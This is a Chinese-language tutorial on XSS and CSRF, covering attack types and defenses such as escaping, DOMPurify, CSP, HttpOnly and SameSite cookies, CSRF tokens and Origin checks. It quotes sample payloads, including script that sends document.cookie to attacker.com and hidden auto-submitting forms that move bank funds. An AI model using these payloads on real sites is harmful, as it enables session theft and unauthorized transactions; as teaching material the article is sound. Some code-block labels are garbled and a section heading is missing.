XSS 和 CSRF 为什么值得你的关注?

前言

在 Web 开发中,XSS(跨站脚本攻击)与 CSRF(跨站请求伪造)是两类高频出现的攻击手段。它们如同悬在开发者头顶的达摩克利斯之剑,一旦防护失守,轻则用户隐私泄露,重则引发系统级灾难。本文将从攻击原理、场景到防御方案,为你全面剖析这两大安全威胁。


一、XSS(跨站脚本攻击):藏在网页中的"毒蛇"

XSS(Cross-Site Scripting)是一种常见的安全漏洞,攻击者通过在网页中注入恶意脚本代码,使这些代码在用户浏览器中执行。由于 CSS(Cascading Style Sheets)与 XSS 的缩写相似,因此为了区分,XSS 通常被称为"跨站脚本攻击"。

攻击方式

攻击者可以通过以下方式注入恶意脚本:

  1. 死循环 :通过 while(true){} 等无限循环代码导致页面卡死或崩溃。
  2. 窃取 Cookie :利用 document.cookie 获取用户的登录凭证。
  3. 监听用户行为 :通过 document.addEventListener('keydown', ...) 记录键盘输入。
  4. 修改 DOM :伪造登录表单(如 <form action="fake.com">)诱导用户提交数据。
  5. 生成浮窗广告 :通过 window.open('malicious-url') 强制跳转恶意网站。

XSS 类型与场景

1. 反射型 XSS

  • 原理:恶意脚本通过 URL 参数注入,服务器将参数反射到响应页面中。

  • 示例

    less 复制代码
    html
    深色版本
    <a href="/search?query=<script>alert('XSS')</script>">搜索</a>
  • 场景:网站搜索、跳转功能。

  • 防御难点:需对所有动态参数进行严格转义。

2. 存储型 XSS

  • 原理:恶意脚本被存储到服务器(如数据库),后续访问时被渲染。

  • 示例

    xml 复制代码
    javascript
    深色版本
    // 用户提交恶意评论
    const comment = '<script>fetch("attacker.com/steal", {method:"POST", body:document.cookie})</script>';
  • 场景:论坛发帖、商品评论。

  • 防御难点:需对所有用户输入内容进行深度过滤。

3. DOM 型 XSS

  • 原理:前端 JavaScript 直接操作 DOM 时未过滤用户输入。

  • 示例

    javascript 复制代码
    javascript
    深色版本
    // 危险代码:直接将 URL 参数写入 DOM
    document.getElementById('content').innerHTML = decodeURIComponent(window.location.hash.slice(1));
  • 场景:通过 URL 参数或动态生成的 DOM 结构触发。

4. 文档型 XSS

  • 原理:通过中间人攻击直接修改 HTML 文档。

  • 场景

    • 未加密的 Wi-Fi 环境(如咖啡厅网络)。
    • 本地恶意软件篡改缓存文件。

XSS 防范措施

1. 输入过滤与转义

  • 核心原则 :对用户输入的特殊字符(<, >, &, ")进行 HTML 转义。

  • 代码示例

    javascript 复制代码
    javascript
    深色版本
    // 使用内置函数或库进行转义
    const safeInput = userInput.replace(/</g, '&lt;').replace(/>/g, '&gt;');
    // 或使用 DOMPurify(推荐)
    import DOMPurify from 'dompurify';
    const cleanHTML = DOMPurify.sanitize(userInput);

2. Content Security Policy (CSP)

  • 作用:限制浏览器加载资源的来源,防止注入脚本执行。

  • 配置示例

    css 复制代码
    http
    深色版本
    Content-Security-Policy: 
      default-src 'self';
      script-src 'self' https://trusted.cdn.com;
      img-src *;
      frame-ancestors 'none';
  • 关键指令

    • script-src:允许加载的脚本来源。
    • report-uri:将违规请求上报到指定 URL。
  • 原理 :设置 HttpOnly 属性后,JavaScript 无法通过 document.cookie 访问 Cookie。

  • 配置示例(以 Node.js 为例)

    arduino 复制代码
    javascript
    深色版本
    res.cookie('sessionID', '12345', {
      httpOnly: true, // 禁止 JavaScript 访问
      secure: true,   // 仅 HTTPS 下传输
      sameSite: 'Strict' // 防止 CSRF
    });

4. 使用框架内置防护

  • React :自动转义 HTML 内容,避免直接使用 innerHTML
  • Vue :通过 v-pre 指令禁用模板解析。
  • Angular:默认对绑定内容进行转义。

二、CSRF(跨站请求伪造):利用用户身份的"身份盗窃"

CSRF(Cross-Site Request Forgery)是一种攻击手段,攻击者诱导受害者进入第三方网站,并在该网站中向被攻击网站发送跨站请求。攻击者利用用户在被攻击网站已有的登录凭证(如 Cookie),绕过后台的用户验证,冒充用户执行某些操作。

攻击原理

  1. 依赖 Cookie 自动携带:浏览器在跨域请求时仍会携带用户已登录的 Cookie。
  2. 利用用户信任:攻击者构造恶意请求,诱导用户在已登录状态下触发。

攻击方式与示例

1. 自动发送 GET 请求

  • 示例

    xml 复制代码
    html
    深色版本
    <!-- 恶意网页中的隐藏图片 -->
    <img src="https://bank.com/transfer?amount=1000&to=attacker@example.com">
  • 触发条件:用户访问恶意页面时,浏览器自动发送 GET 请求,携带用户 Cookie。

2. 自动提交 POST 表单

  • 示例

    ini 复制代码
    html
    深色版本
    <form action="https://bank.com/transfer" method="POST" style="display:none;">
      <input type="hidden" name="amount" value="5000">
      <input type="hidden" name="to" value="attacker@example.com">
    </form>
    <script>document.forms[0].submit();</script>
  • 触发条件:用户访问恶意页面时,JavaScript 自动提交表单。

3. 诱导点击伪装链接

  • 示例

    css 复制代码
    html
    深色版本
    <a href="https://bank.com/transfer?amount=1000" style="color: red;">点击领取优惠券</a>

CSRF 防范措施

  • 原理:控制跨站请求是否携带 Cookie。

  • 配置示例

    php 复制代码
    javascript
    深色版本
    // 后端设置 Cookie(以 Node.js 为例)
    res.cookie('sessionID', '12345', {
      httpOnly: true,
      secure: true,
      sameSite: 'Strict' // 阻止跨站请求携带 Cookie
    });
  • 取值说明

    • Strict:完全禁止第三方请求携带 Cookie。
    • Lax:仅允许安全的 GET 请求携带 Cookie(如链接点击)。
    • None:需配合 Secure 属性,仅 HTTPS 下允许跨站携带。

2. CSRF Token

  • 原理:后端生成唯一 Token,嵌入表单或请求头,服务器验证 Token 合法性。

  • 实现流程

    1. 后端生成 Token 并存储在 Cookie 或 Session 中。
    2. 前端在表单中添加隐藏字段或请求头携带 Token。
    3. 后端比对请求中的 Token 与存储值是否一致。
  • 代码示例(以 Django 为例)

    csharp 复制代码
    python
    深色版本
    # views.py
    def transfer(request):
        if request.method == 'POST':
            if request.POST.get('csrf_token') != request.COOKIES.get('csrf_token'):
                return HttpResponseForbidden()
            # 执行转账操作

3. 验证来源站点

  • 方法 :检查请求头中的 OriginReferer

  • 代码示例(Node.js)

    ini 复制代码
    javascript
    深色版本
    app.use((req, res, next) => {
      const allowedOrigins = ['https://trusted.com'];
      const origin = req.headers.origin;
      if (!allowedOrigins.includes(origin)) {
        return res.status(403).send('Forbidden');
      }
      next();
    });

4. 敏感操作二次验证

  • 措施

    • 要求用户输入密码或短信验证码。
    • 使用生物识别(指纹、人脸识别)。
  • 示例场景

    php 复制代码
    javascript
    深色版本
    // 转账时弹出二次验证弹窗
    fetch('/transfer', {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({ amount: 5000, to: 'attacker@example.com', password: userPassword })
    });

高级防御策略

1. 防御绕过措施

  • 防止 Token 泄露:避免将 Token 存储在 URL 参数中,应使用 Cookie 或 LocalStorage。
  • 定期更新 Token:在用户长时间未操作后,重新生成 Token。

2. 结合其他安全机制

  • CSP 与 SameSite 联合使用:CSP 防止脚本注入,SameSite 阻止 Cookie 跨域携带。
  • 双因素认证(2FA) :即使 Cookie 被窃取,攻击者仍需第二步验证。

3. 安全审计工具

  • OWASP ZAP:自动化扫描 CSRF 漏洞。
  • Snyk:检测依赖库中的已知漏洞。

三、实战案例与防御实践

案例 1:XSS 漏洞导致的账户劫持

  • 场景:某电商平台的搜索功能未对输入参数转义。
  • 攻击 :攻击者构造 URL https://shop.com/search?query=<script>location.href='http://attacker.com?cookie='+document.cookie</script>
  • 防御 :对 query 参数进行 HTML 转义,并启用 CSP 策略。

案例 2:CSRF 攻击导致的账户资金转移

  • 场景:某银行未实现 CSRF Token 防护。
  • 攻击:攻击者构造隐藏表单自动提交转账请求。
  • 防御 :后端增加 CSRF Token 校验,设置 SameSite=Strict

四、Web 安全最佳实践

  1. 输入验证:对所有用户输入进行白名单校验。
  2. 最小权限原则 :Cookie 设置 HttpOnlySecureSameSite
  3. 安全框架:使用 React、Vue 等框架的内置安全机制。
  4. 定期审计:利用工具扫描漏洞,跟踪 CVE 漏洞库。
  5. 教育用户:提醒用户不点击可疑链接,使用 HTTPS。

END

Web 安全没有银弹,唯有深入理解攻击原理,构建纵深防御体系,方能在攻防博弈中立于不败之地。通过本文的剖析,开发者应认识到:XSS 需从输入过滤、CSP 等多维度防护,而 CSRF 则需结合 Token、SameSite 等策略。唯有将安全设计融入开发全流程,才能为用户打造更可靠的应用。

相关推荐
Larcher27 分钟前
新手也能学会,100行代码玩AI LOGO
前端·llm·html
徐子颐40 分钟前
从 Vibe Coding 到 Agent Coding:Cursor 2.0 开启下一代 AI 开发范式
前端
小月鸭1 小时前
如何理解HTML语义化
前端·html
jump6801 小时前
url输入到网页展示会发生什么?
前端
诸葛韩信1 小时前
我们需要了解的Web Workers
前端
brzhang1 小时前
我觉得可以试试 TOON —— 一个为 LLM 而生的极致压缩数据格式
前端·后端·架构
yivifu2 小时前
JavaScript Selection API详解
java·前端·javascript
这儿有一堆花2 小时前
告别 Class 组件:拥抱 React Hooks 带来的函数式新范式
前端·javascript·react.js
十二春秋2 小时前
场景模拟:基础路由配置
前端
六月的可乐2 小时前
实战干货-Vue实现AI聊天助手全流程解析
前端·vue.js·ai编程